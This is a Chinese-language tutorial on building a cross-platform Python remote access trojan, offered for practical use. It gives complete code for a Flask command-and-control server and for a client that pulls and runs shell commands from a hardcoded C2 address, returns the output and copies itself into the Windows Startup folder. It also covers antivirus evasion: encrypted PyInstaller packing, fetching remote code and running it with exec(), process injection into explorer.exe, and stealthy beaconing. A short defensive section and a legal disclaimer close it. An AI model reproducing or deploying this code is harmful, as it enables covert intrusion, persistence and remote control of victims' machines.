0x01 制作远控的技术底层:从原理谈起

要理解如何制作一个功能强大的远程控制木马(RAT),需要先搞清楚它的核心原理和基础功能模块设计。RAT 的本质是利用被控设备与攻击者之间建立一条隐秘的通信通道,允许攻击者远程执行命令、上传/下载文件、甚至控制摄像头和键盘记录。

远控木马的核心功能通常可以分为以下几个部分:

  1. 通信模块:实现与 C2(Command & Control)服务器的双向通信,常用的协议有 HTTP、WebSocket、TCP、UDP 等。主流的设计思路是通过加密通信规避流量分析。
  2. 命令执行模块:接收来自 C2 的指令并在目标设备上执行,如文件操作、进程管理等。
  3. 权限提升模块:尝试绕过操作系统的权限限制,获取更高的访问权限。
  4. 隐匿与自我保护模块:包括免杀、对抗杀软、开机持久化等,确保木马生存时间足够长。

我们这次的方案是设计一款用 Python 编写的跨平台远程控制木马,结合一些免杀技巧和流量加密技术,让它更具实用性。

---

0x02 实战环境快速搭建

攻击环境准备是实际操作的第一步。为了模拟真实的攻击场景,我们需要搭建一个包含攻击者、中间通信节点(C2 服务器)和被控设备的环境。

环境组件清单

黑客示意图

  • 攻击者主机:用于运行 C2(Command & Control)服务端,建议使用 Kali Linux 或 Parrot OS。
  • 目标主机:模拟被控设备,可选择 Windows 或 macOS(虚拟机即可)。
  • 网络环境:建议搭建一个虚拟局域网,方便捕获木马通信流量。

C2 服务器配置

这里我们用 Flask 搭建一个简单的 C2 服务端,它将监听攻击者发送的控制命令,并转发给被控主机:

<pre><code class="language-python"># c2_server.py from flask import Flask, request import json

app = Flask(__name__) commands = []

@app.route(&#039;/send_cmd&#039;, methods=[&#039;POST&#039;]) def send_command(): &quot;&quot;&quot;接受攻击者的命令并保存&quot;&quot;&quot; data = request.json commands.append(data.get(&quot;command&quot;)) return {&quot;status&quot;: &quot;success&quot;}, 200

@app.route(&#039;/get_cmd&#039;, methods=[&#039;GET&#039;]) def get_command(): &quot;&quot;&quot;被控端获取最新命令&quot;&quot;&quot; if commands: return {&quot;command&quot;: commands.pop(0)}, 200 return {&quot;command&quot;: None}, 200

@app.route(&#039;/upload&#039;, methods=[&#039;POST&#039;]) def upload_file(): &quot;&quot;&quot;被控端上传文件&quot;&quot;&quot; file = request.files[&#039;file&#039;] file.save(f&quot;./uploads/{file.filename}&quot;) return {&quot;status&quot;: &quot;file uploaded&quot;}, 200

if __name__ == &#039;__main__&#039;: app.run(host=&#039;0.0.0.0&#039;, port=5000)</code></pre>

快速说明:

  1. send_cmd 用于攻击者发送命令,例如执行 whoami
  2. get_cmd 是被控主机定期拉取命令的接口。
  3. upload 用于被控主机向 C2 上传文件。

运行这段代码后,C2 服务将默认监听在端口 5000。

---

黑客示意图

0x03 Payload 的构造艺术

接下来,设计被控主机上的核心 Payload 程序。它需要完成以下任务:

  1. 定期与 C2 通信获取命令。
  2. 执行命令并将结果返回给 C2。
  3. 实现持久化和隐匿。

黑客示意图

以下是完整的代码实现:

<pre><code class="language-python"># rat_client.py import os import time import json import requests import subprocess

C2_SERVER = &quot;http://192.168.1.100:5000&quot; # 修改为 C2 服务器 IP

def get_command(): &quot;&quot;&quot;从 C2 获取最新命令&quot;&quot;&quot; try: resp = requests.get(f&quot;{C2_SERVER}/get_cmd&quot;) data = resp.json() return data.get(&quot;command&quot;) except Exception as e: return None

def execute_command(cmd): &quot;&quot;&quot;在本地执行命令&quot;&quot;&quot; try: result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) return result.decode() except subprocess.CalledProcessError as e: return e.output.decode()

def upload_result(output): &quot;&quot;&quot;向 C2 上传执行结果&quot;&quot;&quot; try: requests.post(f&quot;{C2_SERVER}/send_cmd&quot;, json={&quot;command&quot;: output}) except Exception as e: pass

def persist(): &quot;&quot;&quot;实现木马持久化(Windows 示例)&quot;&quot;&quot; startup_dir = os.path.join(os.getenv(&quot;APPDATA&quot;), &quot;Microsoft\\Windows\\Start Menu\\Programs\\Startup&quot;) if not os.path.exists(startup_dir): return payload_path = os.path.join(startup_dir, &quot;rat_client.exe&quot;) if not os.path.exists(payload_path): os.system(f&#039;copy {__file__} &quot;{payload_path}&quot;&#039;)

if __name__ == &quot;__main__&quot;: persist() # 持久化到启动目录 while True: command = get_command() if command: output = execute_command(command) upload_result(output) time.sleep(5) # 每 5 秒拉取一次命令</code></pre>

代码解释:

  1. get_command() 会每隔 5 秒向 C2 请求最新命令。
  2. execute_command() 负责执行系统命令,支持 Windows 和 Linux。
  3. persist() 为 Windows 设计的持久化方法,自动将木马复制到启动目录。

---

0x04 绕过与免杀的实操技巧

现代杀软和 EDR(Endpoint Detection & Response)产品对木马程序的检测能力非常强大,因此绕过检测是一个实际部署时的关键环节。以下是几种有效的免杀技巧:

代码混淆与加壳

  1. 使用 Python 的混淆工具,如 pyarmorcython 将脚本加密打包。
  2. .py 转换成 .exe 时,利用工具如 PyInstaller 的 --key 参数添加加密密钥。

<pre><code class="language-bash">pyinstaller --onefile --noconsole --key secret_key rat_client.py</code></pre>

动态载荷生成

可以考虑将核心逻辑分成多个小模块,在运行时动态加载。比如,将恶意代码存储在远程服务器,使用 eval() 方式动态执行。

<pre><code class="language-python">payload_code = requests.get(&quot;http://192.168.1.100/payload&quot;).text exec(payload_code)</code></pre>

---

0x05 木马的检测与防御视角

从防御者的角度来看,以下是几个检测和防御木马的方法:

  1. 流量监控:分析可疑主机的 DNS 和 HTTP 流量。例如,上述 RAT 的 C2 通信可通过启用 IDS/IPS 系统检测。
  2. 文件扫描:通过沙箱环境运行新文件并监控其行为。
  3. 进程分析:查找长期驻留在系统的可疑进程,重点检查启动目录。

---

0x06 一些个人的实战经验

  1. 低频通信是隐匿的关键:频繁的 HTTP 请求易被检测到,建议设置成随机时间间隔的心跳包。
  2. 利用白名单进程注入技术:将木马注入到系统信任的进程中,比如 explorer.exe,极大提高隐蔽性。
  3. 避免硬编码 IP:使用域名或动态 DNS 服务取代硬编码 C2 地址,增加灵活性。

---

法律声明:本文仅供安全研究与学习,请勿将以上技术用于非法用途!未经授权的攻击行为是违法的。